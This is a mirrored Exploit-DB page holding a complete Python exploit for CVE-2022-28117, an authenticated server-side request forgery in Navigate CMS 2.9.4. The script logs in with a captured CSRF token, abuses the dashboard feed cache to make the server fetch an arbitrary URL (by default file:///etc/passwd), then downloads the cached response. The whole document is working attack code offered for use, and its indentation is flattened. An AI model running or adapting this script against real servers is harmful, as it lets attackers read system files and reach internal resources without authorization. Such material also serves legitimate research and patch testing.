Navigate CMS 2.9.4 – Server-Side Request Forgery (SSRF) (Authenticated)

• Exploit Database
• 37 阅读

• 作者： cheshireca7
  日期： 2022-05-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50921/

• #!/usr/bin/env python3
  # Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated)
  # Exploit Author: cheshireca7
  # Vendor Homepage: https://www.navigatecms.com/
  # Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download
  # Version: 2.9.4 and earlier
  # Tested on: Ubuntu 20.04
  # CVE: CVE-2022-28117
  #
  # -*- coding: utf-8 -*-
  
  import requests as r, signal
  from emoji import emojize
  from argparse import ArgumentParser
  from sys import exit
  from requests_toolbelt.multipart.encoder import MultipartEncoder
  from hashlib import md5
  from time import sleep
  from base64 import b64decode,b64encode
  from colorama import Fore, Style
  
  #proxies = {'http':'http://127.0.0.1:8080'}
  
  def handler(signum, frame):
  print("["+Fore.YELLOW+"!"+Style.RESET_ALL+"] "+emojize(b64decode("T2gsIHlvdSBjYW7igJl0IGhlbHAgdGhhdCwgd2UncmUgYWxsIG1hZCBoZXJlIC4uLiA6cGF3X3ByaW50czoK").decode('UTF-8')))
  exit()
  
  def login():
  print("["+Fore.BLUE+"*"+Style.RESET_ALL+f"] Trying to authenticate as {args.username} ...")
  sleep(1)
  
  try:
  # Grabbing CSRF Token
  s = r.Session()
  resp = s.get(f"{args.target}/login.php")#, proxies=proxies)
  csrf_token = resp.headers['X-Csrf-Token']
  
  # Performing login
  data = MultipartEncoder(fields={'login-username':f"{args.username}",'csrf_token':f"{csrf_token}",'login-password':f"{args.password}"})
  headers = {'Content-Type':data.content_type}
  resp = s.post(f"{args.target}/login.php", data=data, headers=headers, allow_redirects=False)#, proxies=proxies)
  except:
  print("["+Fore.RED+"!"+Style.RESET_ALL+"] Something went wrong performing log in")
  exit(-1)
  if resp.status_code == 302:
  print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Login successful!")
  for cookie in resp.cookies:
  if "NVSID" in cookie.name:
  return (resp.headers['X-Csrf-Token'],f"{cookie.name}={cookie.value}")
  else:
  print("["+Fore.RED+"!"+Style.RESET_ALL+f"] Incorrect {args.username}'s credentials")
  exit(-1)
  
  def exploit(values):
  print("["+Fore.BLUE+"*"+Style.RESET_ALL+"] Performing SSRF ...")
  sleep(1)
  
  # Abusing cache feature to retrieve response 
  data = {'limit':'5','language':'en','url':f'{args.payload}'}
  headers = {'X-Csrf-Token':values[0]}
  cookies = {values[1].split('=')[0]:values[1].split('=')[1]}
  resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies)
  
  # Retrieving the file with response from static route
  md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest()
  resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies)
  if len(resp.text) > 0:
  print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...")
  sleep(1)
  print(f"\n{resp.text}")
  exit(0)
  else:
  print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received")
  exit(-1)
  
  if __name__ == '__main__':
  
  # Define parameters
  signal.signal(signal.SIGINT, handler)
  parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)')
  parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)')
  parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)')
  parser.add_argument('-p','--password', required=True, help='Password to log in the CMS')
  parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate')
  args = parser.parse_args()
  
  exploit(login())